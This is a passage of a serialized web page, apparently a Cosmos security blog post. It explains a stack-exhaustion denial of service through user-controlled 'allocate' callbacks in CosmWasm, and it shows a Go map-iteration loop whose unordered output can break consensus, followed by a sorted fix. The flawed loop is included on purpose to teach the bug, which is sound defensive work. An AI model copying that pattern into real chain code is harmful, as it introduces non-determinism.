Querier>(\n    env: &Environment\u003CA, S, Q>,\n    input: &[u8],\n) -> VmResult\u003Cu32> {\n    let out_size = to_u32(input.len())?;\n    let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n    let target_ptr = ref_to_u32(&result)?;\n    if target_ptr == 0 {\n        return Err(CommunicationError::zero_address().into());\n    }\n    write_region(&env.memory(), target_ptr, input)?;\n    Ok(target_ptr)\n}\n",[77593],{"type":26,"tag":83,"props":77594,"children":77595},{"__ignoreMap":8},[77596,77664,77714,77743,77773,77824,77900,77945,77968,78015,78022,78080,78100],{"type":26,"tag":217,"props":77597,"children":77598},{"class":7028,"line":7029},[77599,77604,77609,77613,77617,77621,77626,77630,77634,77638,77643,77647,77651,77655,77660],{"type":26,"tag":217,"props":77600,"children":77601},{"style":7154},[77602],{"type":32,"value":77603},"fn",{"type":26,"tag":217,"props":77605,"children":77606},{"style":7064},[77607],{"type":32,"value":77608}," write_to_contract",{"type":26,"tag":217,"props":77610,"children":77611},{"style":7048},[77612],{"type":32,"value":7289},{"type":26,"tag":217,"props":77614,"children":77615},{"style":7119},[77616],{"type":32,"value":48300},{"type":26,"tag":217,"props":77618,"children":77619},{"style":7149},[77620],{"type":32,"value":1473},{"type":26,"tag":217,"props":77622,"children":77623},{"style":7119},[77624],{"type":32,"value":77625}," BackendApi",{"type":26,"tag":217,"props":77627,"children":77628},{"style":7048},[77629],{"type":32,"value":7599},{"type":26,"tag":217,"props":77631,"children":77632},{"style":7119},[77633],{"type":32,"value":5273},{"type":26,"tag":217,"props":77635,"children":77636},{"style":7149},[77637],{"type":32,"value":1473},{"type":26,"tag":217,"props":77639,"children":77640},{"style":7119},[77641],{"type":32,"value":77642}," Storage",{"type":26,"tag":217,"props":77644,"children":77645},{"style":7048},[77646],{"type":32,"value":7599},{"type":26,"tag":217,"props":77648,"children":77649},{"style":7119},[77650],{"type":32,"value":20115},{"type":26,"tag":217,"props":77652,"children":77653},{"style":7149},[77654],{"type":32,"value":1473},{"type":26,"tag":217,"props":77656,"children":77657},{"style":7119},[77658],{"type":32,"value":77659}," Querier",{"type":26,"tag":217,"props":77661,"children":77662},{"style":7048},[77663],{"type":32,"value":56861},{"type":26,"tag":217,"props":77665,"children":77666},{"class":7028,"line":6770},[77667,77672,77676,77680,77685,77689,77693,77697,77701,77705,77709],{"type":26,"tag":217,"props":77668,"children":77669},{"style":7054},[77670],{"type":32,"value":77671},"    env",{"type":26,"tag":217,"props":77673,"children":77674},{"style":7149},[77675],{"type":32,"value":1473},{"type":26,"tag":217,"props":77677,"children":77678},{"style":7149},[77679],{"type":32,"value":10222},{"type":26,"tag":217,"props":77681,"children":77682},{"style":7119},[77683],{"type":32,"value":77684},"Environment",{"type":26,"tag":217,"props":77686,"children":77687},{"style":7048},[77688],{"type":32,"value":7289},{"type":26,"tag":217,"props":77690,"children":77691},{"style":7119},[77692],{"type":32,"value":48300},{"type":26,"tag":217,"props":77694,"children":77695},{"style":7048},[77696],{"type":32,"value":7599},{"type":26,"tag":217,"props":77698,"children":77699},{"style":7119},[77700],{"type":32,"value":5273},{"type":26,"tag":217,"props":77702,"children":77703},{"style":7048},[77704],{"type":32,"value":7599},{"type":26,"tag":217,"props":77706,"children":77707},{"style":7119},[77708],{"type":32,"value":20115},{"type":26,"tag":217,"props":77710,"children":77711},{"style":7048},[77712],{"type":32,"value":77713},">,\n",{"type":26,"tag":217,"props":77715,"children":77716},{"class":7028,"line":6779},[77717,77722,77726,77730,77734,77738],{"type":26,"tag":217,"props":77718,"children":77719},{"style":7054},[77720],{"type":32,"value":77721},"    input",{"type":26,"tag":217,"props":77723,"children":77724},{"style":7149},[77725],{"type":32,"value":1473},{"type":26,"tag":217,"props":77727,"children":77728},{"style":7149},[77729],{"type":32,"value":10222},{"type":26,"tag":217,"props":77731,"children":77732},{"style":7048},[77733],{"type":32,"value":7127},{"type":26,"tag":217,"props":77735,"children":77736},{"style":7119},[77737],{"type":32,"value":36887},{"type":26,"tag":217,"props":77739,"children":77740},{"style":7048},[77741],{"type":32,"value":77742},"],\n",{"type":26,"tag":217,"props":77744,"children":77745},{"class":7028,"line":7140},[77746,77750,77754,77759,77763,77768],{"type":26,"tag":217,"props":77747,"children":77748},{"style":7048},[77749],{"type":32,"value":8380},{"type":26,"tag":217,"props":77751,"children":77752},{"style":7149},[77753],{"type":32,"value":10115},{"type":26,"tag":217,"props":77755,"children":77756},{"style":7119},[77757],{"type":32,"value":77758}," VmResult",{"type":26,"tag":217,"props":77760,"children":77761},{"style":7048},[77762],{"type":32,"value":7289},{"type":26,"tag":217,"props":77764,"children":77765},{"style":7119},[77766],{"type":32,"value":77767},"u32",{"type":26,"tag":217,"props":77769,"children":77770},{"style":7048},[77771],{"type":32,"value":77772},"> {\n",{"type":26,"tag":217,"props":77774,"children":77775},{"class":7028,"line":7165},[77776,77781,77786,77790,77795,77799,77803,77807,77811,77816,77820],{"type":26,"tag":217,"props":77777,"children":77778},{"style":7154},[77779],{"type":32,"value":77780},"    let",{"type":26,"tag":217,"props":77782,"children":77783},{"style":7054},[77784],{"type":32,"value":77785}," out_size",{"type":26,"tag":217,"props":77787,"children":77788},{"style":7149},[77789],{"type":32,"value":8993},{"type":26,"tag":217,"props":77791,"children":77792},{"style":7064},[77793],{"type":32,"value":77794}," to_u32",{"type":26,"tag":217,"props":77796,"children":77797},{"style":7048},[77798],{"type":32,"value":1851},{"type":26,"tag":217,"props":77800,"children":77801},{"style":7054},[77802],{"type":32,"value":56415},{"type":26,"tag":217,"props":77804,"children":77805},{"style":7149},[77806],{"type":32,"value":180},{"type":26,"tag":217,"props":77808,"children":77809},{"style":7064},[77810],{"type":32,"value":15325},{"type":26,"tag":217,"props":77812,"children":77813},{"style":7048},[77814],{"type":32,"value":77815},"())",{"type":26,"tag":217,"props":77817,"children":77818},{"style":7149},[77819],{"type":32,"value":605},{"type":26,"tag":217,"props":77821,"children":77822},{"style":7048},[77823],{"type":32,"value":7162},{"type":26,"tag":217,"props":77825,"children":77826},{"class":7028,"line":7178},[77827,77831,77835,77839,77844,77848,77853,77857,77861,77865,77869,77873,77878,77882,77887,77892,77896],{"type":26,"tag":217,"props":77828,"children":77829},{"style":7154},[77830],{"type":32,"value":77780},{"type":26,"tag":217,"props":77832,"children":77833},{"style":7054},[77834],{"type":32,"value":26462},{"type":26,"tag":217,"props":77836,"children":77837},{"style":7149},[77838],{"type":32,"value":8993},{"type":26,"tag":217,"props":77840,"children":77841},{"style":7054},[77842],{"type":32,"value":77843}," env",{"type":26,"tag":217,"props":77845,"children":77846},{"style":7149},[77847],{"type":32,"value":180},{"type":26,"tag":217,"props":77849,"children":77850},{"style":7064},[77851],{"type":32,"value":77852},"call_function1",{"type":26,"tag":217,"props":77854,"children":77855},{"style":7048},[77856],{"type":32,"value":1851},{"type":26,"tag":217,"props":77858,"children":77859},{"style":7338},[77860],{"type":32,"value":77577},{"type":26,"tag":217,"props":77862,"children":77863},{"style":7048},[77864],{"type":32,"value":7599},{"type":26,"tag":217,"props":77866,"children":77867},{"style":7149},[77868],{"type":32,"value":9804},{"type":26,"tag":217,"props":77870,"children":77871},{"style":7048},[77872],{"type":32,"value":7127},{"type":26,"tag":217,"props":77874,"children":77875},{"style":7054},[77876],{"type":32,"value":77877},"out_size",{"type":26,"tag":217,"props":77879,"children":77880},{"style":7149},[77881],{"type":32,"value":180},{"type":26,"tag":217,"props":77883,"children":77884},{"style":7064},[77885],{"type":32,"value":77886},"into",{"type":26,"tag":217,"props":77888,"children":77889},{"style":7048},[77890],{"type":32,"value":77891},"()])",{"type":26,"tag":217,"props":77893,"children":77894},{"style":7149},[77895],{"type":32,"value":605},{"type":26,"tag":217,"props":77897,"children":77898},{"style":7048},[77899],{"type":32,"value":7162},{"type":26,"tag":217,"props":77901,"children":77902},{"class":7028,"line":7389},[77903,77907,77912,77916,77921,77925,77929,77933,77937,77941],{"type":26,"tag":217,"props":77904,"children":77905},{"style":7154},[77906],{"type":32,"value":77780},{"type":26,"tag":217,"props":77908,"children":77909},{"style":7054},[77910],{"type":32,"value":77911}," target_ptr",{"type":26,"tag":217,"props":77913,"children":77914},{"style":7149},[77915],{"type":32,"value":8993},{"type":26,"tag":217,"props":77917,"children":77918},{"style":7064},[77919],{"type":32,"value":77920}," ref_to_u32",{"type":26,"tag":217,"props":77922,"children":77923},{"style":7048},[77924],{"type":32,"value":1851},{"type":26,"tag":217,"props":77926,"children":77927},{"style":7149},[77928],{"type":32,"value":9804},{"type":26,"tag":217,"props":77930,"children":77931},{"style":7054},[77932],{"type":32,"value":14769},{"type":26,"tag":217,"props":77934,"children":77935},{"style":7048},[77936],{"type":32,"value":1889},{"type":26,"tag":217,"props":77938,"children":77939},{"style":7149},[77940],{"type":32,"value":605},{"type":26,"tag":217,"props":77942,"children":77943},{"style":7048},[77944],{"type":32,"value":7162},{"type":26,"tag":217,"props":77946,"children":77947},{"class":7028,"line":7406},[77948,77952,77956,77960,77964],{"type":26,"tag":217,"props":77949,"children":77950},{"style":7042},[77951],{"type":32,"value":9710},{"type":26,"tag":217,"props":77953,"children":77954},{"style":7054},[77955],{"type":32,"value":77911},{"type":26,"tag":217,"props":77957,"children":77958},{"style":7149},[77959],{"type":32,"value":11680},{"type":26,"tag":217,"props":77961,"children":77962},{"style":7130},[77963],{"type":32,"value":9922},{"type":26,"tag":217,"props":77965,"children":77966},{"style":7048},[77967],{"type":32,"value":8064},{"type":26,"tag":217,"props":77969,"children":77970},{"class":7028,"line":7439},[77971,77975,77980,77984,77989,77993,77998,78003,78007,78011],{"type":26,"tag":217,"props":77972,"children":77973},{"style":7042},[77974],{"type":32,"value":9737},{"type":26,"tag":217,"props":77976,"children":77977},{"style":7119},[77978],{"type":32,"value":77979}," Err",{"type":26,"tag":217,"props":77981,"children":77982},{"style":7048},[77983],{"type":32,"value":1851},{"type":26,"tag":217,"props":77985,"children":77986},{"style":7119},[77987],{"type":32,"value":77988},"CommunicationError",{"type":26,"tag":217,"props":77990,"children":77991},{"style":7149},[77992],{"type":32,"value":56166},{"type":26,"tag":217,"props":77994,"children":77995},{"style":7064},[77996],{"type":32,"value":77997},"zero_address",{"type":26,"tag":217,"props":77999,"children":78000},{"style":7048},[78001],{"type":32,"value":78002},"()",{"type":26,"tag":217,"props":78004,"children":78005},{"style":7149},[78006],{"type":32,"value":180},{"type":26,"tag":217,"props":78008,"children":78009},{"style":7064},[78010],{"type":32,"value":77886},{"type":26,"tag":217,"props":78012,"children":78013},{"style":7048},[78014],{"type":32,"value":8348},{"type":26,"tag":217,"props":78016,"children":78017},{"class":7028,"line":7487},[78018],{"type":26,"tag":217,"props":78019,"children":78020},{"style":7048},[78021],{"type":32,"value":9754},{"type":26,"tag":217,"props":78023,"children":78024},{"class":7028,"line":7524},[78025,78030,78034,78038,78043,78047,78051,78055,78060,78064,78068,78072,78076],{"type":26,"tag":217,"props":78026,"children":78027},{"style":7064},[78028],{"type":32,"value":78029},"    write_region",{"type":26,"tag":217,"props":78031,"children":78032},{"style":7048},[78033],{"type":32,"value":1851},{"type":26,"tag":217,"props":78035,"children":78036},{"style":7149},[78037],{"type":32,"value":9804},{"type":26,"tag":217,"props":78039,"children":78040},{"style":7054},[78041],{"type":32,"value":78042},"env",{"type":26,"tag":217,"props":78044,"children":78045},{"style":7149},[78046],{"type":32,"value":180},{"type":26,"tag":217,"props":78048,"children":78049},{"style":7064},[78050],{"type":32,"value":63509},{"type":26,"tag":217,"props":78052,"children":78053},{"style":7048},[78054],{"type":32,"value":59809},{"type":26,"tag":217,"props":78056,"children":78057},{"style":7054},[78058],{"type":32,"value":78059},"target_ptr",{"type":26,"tag":217,"props":78061,"children":78062},{"style":7048},[78063],{"type":32,"value":7599},{"type":26,"tag":217,"props":78065,"children":78066},{"style":7054},[78067],{"type":32,"value":56415},{"type":26,"tag":217,"props":78069,"children":78070},{"style":7048},[78071],{"type":32,"value":1889},{"type":26,"tag":217,"props":78073,"children":78074},{"style":7149},[78075],{"type":32,"value":605},{"type":26,"tag":217,"props":78077,"children":78078},{"style":7048},[78079],{"type":32,"value":7162},{"type":26,"tag":217,"props":78081,"children":78082},{"class":7028,"line":7553},[78083,78088,78092,78096],{"type":26,"tag":217,"props":78084,"children":78085},{"style":7119},[78086],{"type":32,"value":78087},"    Ok",{"type":26,"tag":217,"props":78089,"children":78090},{"style":7048},[78091],{"type":32,"value":1851},{"type":26,"tag":217,"props":78093,"children":78094},{"style":7054},[78095],{"type":32,"value":78059},{"type":26,"tag":217,"props":78097,"children":78098},{"style":7048},[78099],{"type":32,"value":10025},{"type":26,"tag":217,"props":78101,"children":78102},{"class":7028,"line":7570},[78103],{"type":26,"tag":217,"props":78104,"children":78105},{"style":7048},[78106],{"type":32,"value":7184},{"type":26,"tag":39,"props":78108,"children":78109},{},[78110,78112,78118,78120,78125],{"type":32,"value":78111},"As users have complete control over ",{"type":26,"tag":83,"props":78113,"children":78115},{"className":78114},[],[78116],{"type":32,"value":78117},"allocate",{"type":32,"value":78119},", there is a possibility to call back ",{"type":26,"tag":83,"props":78121,"children":78123},{"className":78122},[],[78124],{"type":32,"value":77569},{"type":32,"value":78126}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":26,"tag":39,"props":78128,"children":78129},{},[78130,78132,78139],{"type":32,"value":78131},"Additional real-world examples include ",{"type":26,"tag":163,"props":78133,"children":78136},{"href":78134,"rel":78135},"https://github.com/cosmos/cosmos-sdk/issues/16676",[167],[78137],{"type":32,"value":78138},"not returning proper values for malformed txs",{"type":32,"value":180},{"type":26,"tag":27,"props":78141,"children":78143},{"id":78142},"order-was-the-dream-of-man",[78144],{"type":32,"value":78145},"Order Was the Dream of Man",{"type":26,"tag":39,"props":78147,"children":78148},{},[78149],{"type":32,"value":78150},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":26,"tag":39,"props":78152,"children":78153},{},[78154],{"type":32,"value":78155},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":26,"tag":207,"props":78157,"children":78159},{"code":78158,"language":77016,"meta":8,"className":77017,"style":8},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    for key, value := range objectMap {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, value),\n            )\n        )\n    }\n}\n",[78160],{"type":26,"tag":83,"props":78161,"children":78162},{"__ignoreMap":8},[78163,78198,78205,78234,78272,78302,78323,78335,78373,78381,78389,78396],{"type":26,"tag":217,"props":78164,"children":78165},{"class":7028,"line":7029},[78166,78170,78175,78180,78184,78189,78193],{"type":26,"tag":217,"props":78167,"children":78168},{"style":7154},[78169],{"type":32,"value":16194},{"type":26,"tag":217,"props":78171,"children":78172},{"style":7119},[78173],{"type":32,"value":78174}," ObjectMap",{"type":26,"tag":217,"props":78176,"children":78177},{"style":7154},[78178],{"type":32,"value":78179}," map",{"type":26,"tag":217,"props":78181,"children":78182},{"style":7048},[78183],{"type":32,"value":7127},{"type":26,"tag":217,"props":78185,"children":78186},{"style":7119},[78187],{"type":32,"value":78188},"string",{"type":26,"tag":217,"props":78190,"children":78191},{"style":7048},[78192],{"type":32,"value":21845},{"type":26,"tag":217,"props":78194,"children":78195},{"style":7119},[78196],{"type":32,"value":78197},"string\n",{"type":26,"tag":217,"props":78199,"children":78200},{"class":7028,"line":6770},[78201],{"type":26,"tag":217,"props":78202,"children":78203},{"emptyLinePlaceholder":17},[78204],{"type":32,"value":7817},{"type":26,"tag":217,"props":78206,"children":78207},{"class":7028,"line":6779},[78208,78212,78217,78221,78226,78230],{"type":26,"tag":217,"props":78209,"children":78210},{"style":7154},[78211],{"type":32,"value":26409},{"type":26,"tag":217,"props":78213,"children":78214},{"style":7064},[78215],{"type":32,"value":78216}," EmitEntries",{"type":26,"tag":217,"props":78218,"children":78219},{"style":7048},[78220],{"type":32,"value":1851},{"type":26,"tag":217,"props":78222,"children":78223},{"style":7054},[78224],{"type":32,"value":78225},"objectMap",{"type":26,"tag":217,"props":78227,"children":78228},{"style":7119},[78229],{"type":32,"value":78174},{"type":26,"tag":217,"props":78231,"children":78232},{"style":7048},[78233],{"type":32,"value":7618},{"type":26,"tag":217,"props":78235,"children":78236},{"class":7028,"line":7140},[78237,78241,78246,78250,78254,78258,78263,78268],{"type":26,"tag":217,"props":78238,"children":78239},{"style":7042},[78240],{"type":32,"value":12461},{"type":26,"tag":217,"props":78242,"children":78243},{"style":7054},[78244],{"type":32,"value":78245}," key",{"type":26,"tag":217,"props":78247,"children":78248},{"style":7048},[78249],{"type":32,"value":7599},{"type":26,"tag":217,"props":78251,"children":78252},{"style":7054},[78253],{"type":32,"value":15127},{"type":26,"tag":217,"props":78255,"children":78256},{"style":7149},[78257],{"type":32,"value":77267},{"type":26,"tag":217,"props":78259,"children":78260},{"style":7042},[78261],{"type":32,"value":78262}," range",{"type":26,"tag":217,"props":78264,"children":78265},{"style":7054},[78266],{"type":32,"value":78267}," objectMap",{"type":26,"tag":217,"props":78269,"children":78270},{"style":7048},[78271],{"type":32,"value":8064},{"type":26,"tag":217,"props":78273,"children":78274},{"class":7028,"line":7165},[78275,78280,78284,78289,78293,78298],{"type":26,"tag":217,"props":78276,"children":78277},{"style":7054},[78278],{"type":32,"value":78279},"        ctx",{"type":26,"tag":217,"props":78281,"children":78282},{"style":7048},[78283],{"type":32,"value":180},{"type":26,"tag":217,"props":78285,"children":78286},{"style":7054},[78287],{"type":32,"value":78288},"EventManager",{"type":26,"tag":217,"props":78290,"children":78291},{"style":7048},[78292],{"type":32,"value":180},{"type":26,"tag":217,"props":78294,"children":78295},{"style":7064},[78296],{"type":32,"value":78297},"EmitEvent",{"type":26,"tag":217,"props":78299,"children":78300},{"style":7048},[78301],{"type":32,"value":10932},{"type":26,"tag":217,"props":78303,"children":78304},{"class":7028,"line":7178},[78305,78310,78314,78319],{"type":26,"tag":217,"props":78306,"children":78307},{"style":7054},[78308],{"type":32,"value":78309},"            sdk",{"type":26,"tag":217,"props":78311,"children":78312},{"style":7048},[78313],{"type":32,"value":180},{"type":26,"tag":217,"props":78315,"children":78316},{"style":7064},[78317],{"type":32,"value":78318},"NewEvent",{"type":26,"tag":217,"props":78320,"children":78321},{"style":7048},[78322],{"type":32,"value":10932},{"type":26,"tag":217,"props":78324,"children":78325},{"class":7028,"line":7389},[78326,78331],{"type":26,"tag":217,"props":78327,"children":78328},{"style":7338},[78329],{"type":32,"value":78330},"                \"MapContext\"",{"type":26,"tag":217,"props":78332,"children":78333},{"style":7048},[78334],{"type":32,"value":10953},{"type":26,"tag":217,"props":78336,"children":78337},{"class":7028,"line":7406},[78338,78343,78347,78352,78356,78361,78365,78369],{"type":26,"tag":217,"props":78339,"children":78340},{"style":7054},[78341],{"type":32,"value":78342},"                sdk",{"type":26,"tag":217,"props":78344,"children":78345},{"style":7048},[78346],{"type":32,"value":180},{"type":26,"tag":217,"props":78348,"children":78349},{"style":7064},[78350],{"type":32,"value":78351},"NewAttribute",{"type":26,"tag":217,"props":78353,"children":78354},{"style":7048},[78355],{"type":32,"value":1851},{"type":26,"tag":217,"props":78357,"children":78358},{"style":7054},[78359],{"type":32,"value":78360},"key",{"type":26,"tag":217,"props":78362,"children":78363},{"style":7048},[78364],{"type":32,"value":7599},{"type":26,"tag":217,"props":78366,"children":78367},{"style":7054},[78368],{"type":32,"value":15127},{"type":26,"tag":217,"props":78370,"children":78371},{"style":7048},[78372],{"type":32,"value":13841},{"type":26,"tag":217,"props":78374,"children":78375},{"class":7028,"line":7439},[78376],{"type":26,"tag":217,"props":78377,"children":78378},{"style":7048},[78379],{"type":32,"value":78380},"            )\n",{"type":26,"tag":217,"props":78382,"children":78383},{"class":7028,"line":7487},[78384],{"type":26,"tag":217,"props":78385,"children":78386},{"style":7048},[78387],{"type":32,"value":78388},"        )\n",{"type":26,"tag":217,"props":78390,"children":78391},{"class":7028,"line":7524},[78392],{"type":26,"tag":217,"props":78393,"children":78394},{"style":7048},[78395],{"type":32,"value":9754},{"type":26,"tag":217,"props":78397,"children":78398},{"class":7028,"line":7553},[78399],{"type":26,"tag":217,"props":78400,"children":78401},{"style":7048},[78402],{"type":32,"value":7184},{"type":26,"tag":39,"props":78404,"children":78405},{},[78406],{"type":32,"value":78407},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":26,"tag":35,"props":78409,"children":78410},{},[78411],{"type":26,"tag":39,"props":78412,"children":78413},{},[78414],{"type":32,"value":78415},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":26,"tag":39,"props":78417,"children":78418},{},[78419,78421,78427],{"type":32,"value":78420},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":26,"tag":83,"props":78422,"children":78424},{"className":78423},[],[78425],{"type":32,"value":78426},"map",{"type":32,"value":78428}," and then fetch the values using the sorted key array before emitting them.",{"type":26,"tag":207,"props":78430,"children":78432},{"code":78431,"language":77016,"meta":8,"className":77017,"style":8},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    var keys []string\n    for key := range objectMap {\n        keys = append(keys, key)\n    }\n    sort.Strings(keys)\n\n    for _, key := range keys {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, objectMap[key]),\n            )\n        )\n    }\n}\n",[78433],{"type":26,"tag":83,"props":78434,"children":78435},{"__ignoreMap":8},[78436,78467,78474,78501,78522,78549,78587,78594,78623,78630,78666,78693,78712,78723,78767,78774,78781,78788],{"type":26,"tag":217,"props":78437,"children":78438},{"class":7028,"line":7029},[78439,78443,78447,78451,78455,78459,78463],{"type":26,"tag":217,"props":78440,"children":78441},{"style":7154},[78442],{"type":32,"value":16194},{"type":26,"tag":217,"props":78444,"children":78445},{"style":7119},[78446],{"type":32,"value":78174},{"type":26,"tag":217,"props":78448,"children":78449},{"style":7154},[78450],{"type":32,"value":78179},{"type":26,"tag":217,"props":78452,"children":78453},{"style":7048},[78454],{"type":32,"value":7127},{"type":26,"tag":217,"props":78456,"children":78457},{"style":7119},[78458],{"type":32,"value":78188},{"type":26,"tag":217,"props":78460,"children":78461},{"style":7048},[78462],{"type":32,"value":21845},{"type":26,"tag":217,"props":78464,"children":78465},{"style":7119},[78466],{"type":32,"value":78197},{"type":26,"tag":217,"props":78468,"children":78469},{"class":7028,"line":6770},[78470],{"type":26,"tag":217,"props":78471,"children":78472},{"emptyLinePlaceholder":17},[78473],{"type":32,"value":7817},{"type":26,"tag":217,"props":78475,"children":78476},{"class":7028,"line":6779},[78477,78481,78485,78489,78493,78497],{"type":26,"tag":217,"props":78478,"children":78479},{"style":7154},[78480],{"type":32,"value":26409},{"type":26,"tag":217,"props":78482,"children":78483},{"style":7064},[78484],{"type":32,"value":78216},{"type":26,"tag":217,"props":78486,"children":78487},{"style":7048},[78488],{"type":32,"value":1851},{"type":26,"tag":217,"props":78490,"children":78491},{"style":7054},[78492],{"type":32,"value":78225},{"type":26,"tag":217,"props":78494,"children":78495},{"style":7119},[78496],{"type":32,"value":78174},{"type":26,"tag":217,"props":78498,"children":78499},{"style":7048},[78500],{"type":32,"value":7618},{"type":26,"tag":217,"props":78502,"children":78503},{"class":7028,"line":7140},[78504,78509,78514,78518],{"type":26,"tag":217,"props":78505,"children":78506},{"style":7154},[78507],{"type":32,"value":78508},"    var",{"type":26,"tag":217,"props":78510,"children":78511},{"style":7054},[78512],{"type":32,"value":78513}," keys",{"type":26,"tag":217,"props":78515,"children":78516},{"style":7048},[78517],{"type":32,"value":77080},{"type":26,"tag":217,"props":78519,"children":78520},{"style":7119},[78521],{"type":32,"value":78197},{"type":26,"tag":217,"props":78523,"children":78524},{"class":7028,"line":7165},[78525,78529,78533,78537,78541,78545],{"type":26,"tag":217,"props":78526,"children":78527},{"style":7042},[78528],{"type":32,"value":12461},{"type":26,"tag":217,"props":78530,"children":78531},{"style":7054},[78532],{"type":32,"value":78245},{"type":26,"tag":217,"props":78534,"children":78535},{"style":7149},[78536],{"type":32,"value":77267},{"type":26,"tag":217,"props":78538,"children":78539},{"style":7042},[78540],{"type":32,"value":78262},{"type":26,"tag":217,"props":78542,"children":78543},{"style":7054},[78544],{"type":32,"value":78267},{"type":26,"tag":217,"props":78546,"children":78547},{"style":7048},[78548],{"type":32,"value":8064},{"type":26,"tag":217,"props":78550,"children":78551},{"class":7028,"line":7178},[78552,78557,78561,78566,78570,78575,78579,78583],{"type":26,"tag":217,"props":78553,"children":78554},{"style":7054},[78555],{"type":32,"value":78556},"        keys",{"type":26,"tag":217,"props":78558,"children":78559},{"style":7149},[78560],{"type":32,"value":8993},{"type":26,"tag":217,"props":78562,"children":78563},{"style":7064},[78564],{"type":32,"value":78565}," append",{"type":26,"tag":217,"props":78567,"children":78568},{"style":7048},[78569],{"type":32,"value":1851},{"type":26,"tag":217,"props":78571,"children":78572},{"style":7054},[78573],{"type":32,"value":78574},"keys",{"type":26,"tag":217,"props":78576,"children":78577},{"style":7048},[78578],{"type":32,"value":7599},{"type":26,"tag":217,"props":78580,"children":78581},{"style":7054},[78582],{"type":32,"value":78360},{"type":26,"tag":217,"props":78584,"children":78585},{"style":7048},[78586],{"type":32,"value":10025},{"type":26,"tag":217,"props":78588,"children":78589},{"class":7028,"line":7389},[78590],{"type":26,"tag":217,"props":78591,"children":78592},{"style":7048},[78593],{"type":32,"value":9754},{"type":26,"tag":217,"props":78595,"children":78596},{"class":7028,"line":7406},[78597,78602,78606,78611,78615,78619],{"type":26,"tag":217,"props":78598,"children":78599},{"style":7054},[78600],{"type":32,"value":78601},"    sort",{"type":26,"tag":217,"props":78603,"children":78604},{"style":7048},[78605],{"type":32,"value":180},{"type":26,"tag":217,"props":78607,"children":78608},{"style":7064},[78609],{"type":32,"value":78610},"Strings",{"type":26,"tag":217,"props":78612,"children":78613},{"style":7048},[78614],{"type":32,"value":1851},{"type":26,"tag":217,"props":78616,"children":78617},{"style":7054},[78618],{"type":32,"value":78574},{"type":26,"tag":217,"props":78620,"children":78621},{"style":7048},[78622],{"type":32,"value":10025},{"type":26,"tag":217,"props":78624,"children":78625},{"class":7028,"line":7439},[78626],{"type":26,"tag":217,"props":78627,"children":78628},{"emptyLinePlaceholder":17},[78629],{"type":32,"value":7817},{"type":26,"tag":217,"props":78631,"children":78632},{"class":7028,"line":7487},[78633,78637,78642,78646,78650,78654,78658,78662],{"type":26,"tag":217,"props":78634,"children":78635},{"style":7042},[78636],{"type":32,"value":12461},{"type":26,"tag":217,"props":78638,"children":78639},{"style":7054},[78640],{"type":32,"value":78641}," _",{"type":26,"tag":217,"props":78643,"children":78644},{"style":7048},[78645],{"type":32,"value":7599},{"type":26,"tag":217,"props":78647,"children":78648},{"style":7054},[78649],{"type":32,"value":78360},{"type":26,"tag":217,"props":78651,"children":78652},{"style":7149},[78653],{"type":32,"value":77267},{"type":26,"tag":217,"props":78655,"children":78656},{"style":7042},[78657],{"type":32,"value":78262},{"type":26,"tag":217,"props":78659,"children":78660},{"style":7054},[78661],{"type":32,"value":78513},{"type":26,"tag":217,"props":78663,"children":78664},{"style":7048},[78665],{"type":32,"value":8064},{"type":26,"tag":217,"props":78667,"children":78668},{"class":7028,"line":7524},[78669,78673,78677,78681,78685,78689],{"type":26,"tag":217,"props":78670,"children":78671},{"style":7054},[78672],{"type":32,"value":78279},{"type":26,"tag":217,"props":78674,"children":78675},{"style":7048},[78676],{"type":32,"value":180},{"type":26,"tag":217,"props":78678,"children":78679},{"style":7054},[78680],{"type":32,"value":78288},{"type":26,"tag":217,"props":78682,"children":78683},{"style":7048},[78684],{"type":32,"value":180},{"type":26,"tag":217,"props":78686,"children":78687},{"style":7064},[78688],{"type":32,"value":78297},{"type":26,"tag":217,"props":78690,"children":78691},{"style":7048},[78692],{"type":32,"value":10932},{"type":26,"tag":217,"props":78694,"children":78695},{"class":7028,"line":7553},[78696,78700,78704,78708],{"type":26,"tag":217,"props":78697,"children":78698},{"style":7054},[78699],{"type":32,"value":78309},{"type":26,"tag":217,"props":78701,"children":78702},{"style":7048},[78703],{"type":32,"value":180},{"type":26,"tag":217,"props":78705,"children":78706},{"style":7064},[78707],{"type":32,"value":78318},{"type":26,"tag":217,"props":78709,"children":78710},{"style":7048},[78711],{"type":32,"value":10932},{"type":26,"tag":217,"props":78713,"children":78714},{"class":7028,"line":7570},[78715,78719],{"type":26,"tag":217,"props":78716,"children":78717},{"style":7338},[78718],{"type":32,"value":78330},{"type":26,"tag":217,"props":78720,"children":78721},{"style":7048},[78722],{"type":32,"value":10953},{"type":26,"tag":217,"props":78724,"children":78725},{"class":7028,"line":7621},[78726,78730,78734,78738,78742,78746,78750,78754,78758,78762],{"type":26,"tag":217,"props":78727,"children":78728},{"style":7054},[78729],{"type":32,"value":78342},{"type":26,"tag":217,"props":78731,"children":78732},{"style":7048},[78733],{"type":32,"value":180},{"type":26,"tag":217,"props":78735,"children":78736},{"style":7064},[78737],{"type":32,"value":78351},{"type":26,"tag":217,"props":78739,"children":78740},{"style":7048},[78741],{"type":32,"value":1851},{"type":26,"tag":217,"props":78743,"children":78744},{"style":7054},[78745],{"type":32,"value":78360},{"type":26,"tag":217,"props":78747,"children":78748},{"style":7048},[78749],{"type":32,"value":7599},{"type":26,"tag":217,"props":78751,"children":78752},{"style":7054},[78753],{"type":32,"value":78225},{"type":26,"tag":217,"props":78755,"children":78756},{"style":7048},[78757],{"type":32,"value":7127},{"type":26,"tag":217,"props":78759,"children":78760},{"style":7054},